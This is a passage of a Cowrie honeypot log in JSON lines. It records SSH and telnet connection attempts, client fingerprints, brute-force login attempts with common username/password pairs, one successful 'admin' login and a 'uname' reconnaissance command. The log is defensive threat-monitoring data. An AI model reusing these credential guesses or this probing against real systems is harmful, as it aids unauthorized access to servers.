{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39786,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d66867493d4","protocol":"telnet","message":"New connection: 152.42.224.71:39786 (10.17.0.5:23) [session: 0d66867493d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:23.793908Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:23.903271Z","src_ip":"176.65.132.129","session":"fc6602403b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43772,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ef993583476","protocol":"ssh","message":"New connection: 176.65.132.129:43772 (159.203.135.109:22) [session: 1ef993583476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:25.716817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:25.722248Z","src_ip":"176.65.132.129","session":"1ef993583476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:25.805704Z","src_ip":"176.65.132.129","session":"1ef993583476","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:26.051783Z","src_ip":"176.65.132.129","session":"1ef993583476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56028,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4cbbff1a400","protocol":"telnet","message":"New connection: 152.42.224.71:56028 (10.17.0.5:23) [session: b4cbbff1a400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:26.943939Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:27.260311Z","src_ip":"176.65.132.129","session":"1ef993583476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":33846,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ac295ad30f8","protocol":"ssh","message":"New connection: 103.173.227.57:33846 (159.203.135.109:22) [session: 3ac295ad30f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:28.799100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:28.803978Z","src_ip":"103.173.227.57","session":"3ac295ad30f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43776,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c05016968a9","protocol":"ssh","message":"New connection: 176.65.132.129:43776 (159.203.135.109:22) [session: 4c05016968a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:28.931203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:28.936054Z","src_ip":"176.65.132.129","session":"4c05016968a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:29.018384Z","src_ip":"176.65.132.129","session":"4c05016968a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:29.042490Z","src_ip":"103.173.227.57","session":"3ac295ad30f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:29.266900Z","src_ip":"176.65.132.129","session":"4c05016968a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem1","message":"login attempt [root/artem1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:29.757874Z","src_ip":"103.173.227.57","session":"3ac295ad30f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:30.351865Z","src_ip":"176.65.132.129","session":"4c05016968a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:30.999593Z","src_ip":"103.173.227.57","session":"3ac295ad30f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43788,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b9acfd4653c","protocol":"ssh","message":"New connection: 176.65.132.129:43788 (159.203.135.109:22) [session: 4b9acfd4653c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:32.214687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:32.218854Z","src_ip":"176.65.132.129","session":"4b9acfd4653c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:32.300695Z","src_ip":"176.65.132.129","session":"4b9acfd4653c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:32.734092Z","src_ip":"176.65.132.129","session":"4b9acfd4653c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:33.818996Z","src_ip":"176.65.132.129","session":"4b9acfd4653c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.895544052124023,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:35.615108Z","src_ip":"152.42.224.71","session":"cfbe41f504a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43790,"dst_ip":"159.203.135.109","dst_port":22,"session":"758defae93fc","protocol":"ssh","message":"New connection: 176.65.132.129:43790 (159.203.135.109:22) [session: 758defae93fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:35.676408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:35.681645Z","src_ip":"176.65.132.129","session":"758defae93fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:35.767070Z","src_ip":"176.65.132.129","session":"758defae93fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:36.014119Z","src_ip":"176.65.132.129","session":"758defae93fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:37.099660Z","src_ip":"176.65.132.129","session":"758defae93fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57990,"dst_ip":"159.203.135.109","dst_port":22,"session":"da61da5670d4","protocol":"ssh","message":"New connection: 176.65.132.129:57990 (159.203.135.109:22) [session: da61da5670d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:38.948538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:38.953626Z","src_ip":"176.65.132.129","session":"da61da5670d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:39.035223Z","src_ip":"176.65.132.129","session":"da61da5670d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:39.280355Z","src_ip":"176.65.132.129","session":"da61da5670d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:39.492333Z","src_ip":"176.65.132.129","session":"da61da5670d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:39.495900Z","src_ip":"176.65.132.129","session":"da61da5670d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:39.581508Z","src_ip":"176.65.132.129","session":"da61da5670d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:39.585647Z","src_ip":"176.65.132.129","session":"da61da5670d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":60382,"dst_ip":"159.203.135.109","dst_port":22,"session":"15bd5493587a","protocol":"ssh","message":"New connection: 103.149.170.125:60382 (159.203.135.109:22) [session: 15bd5493587a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:40.675288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:40.680337Z","src_ip":"103.149.170.125","session":"15bd5493587a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:40.946412Z","src_ip":"103.149.170.125","session":"15bd5493587a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:41.738587Z","src_ip":"103.149.170.125","session":"15bd5493587a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.76007342338562,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:42.097909Z","src_ip":"152.42.224.71","session":"5b1bc5c26128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57998,"dst_ip":"159.203.135.109","dst_port":22,"session":"c989378c74d0","protocol":"ssh","message":"New connection: 176.65.132.129:57998 (159.203.135.109:22) [session: c989378c74d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:42.194261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:42.201686Z","src_ip":"176.65.132.129","session":"c989378c74d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48968,"dst_ip":"10.17.0.5","dst_port":23,"session":"20af3467e8f5","protocol":"telnet","message":"New connection: 152.42.224.71:48968 (10.17.0.5:23) [session: 20af3467e8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:42.266378Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","cha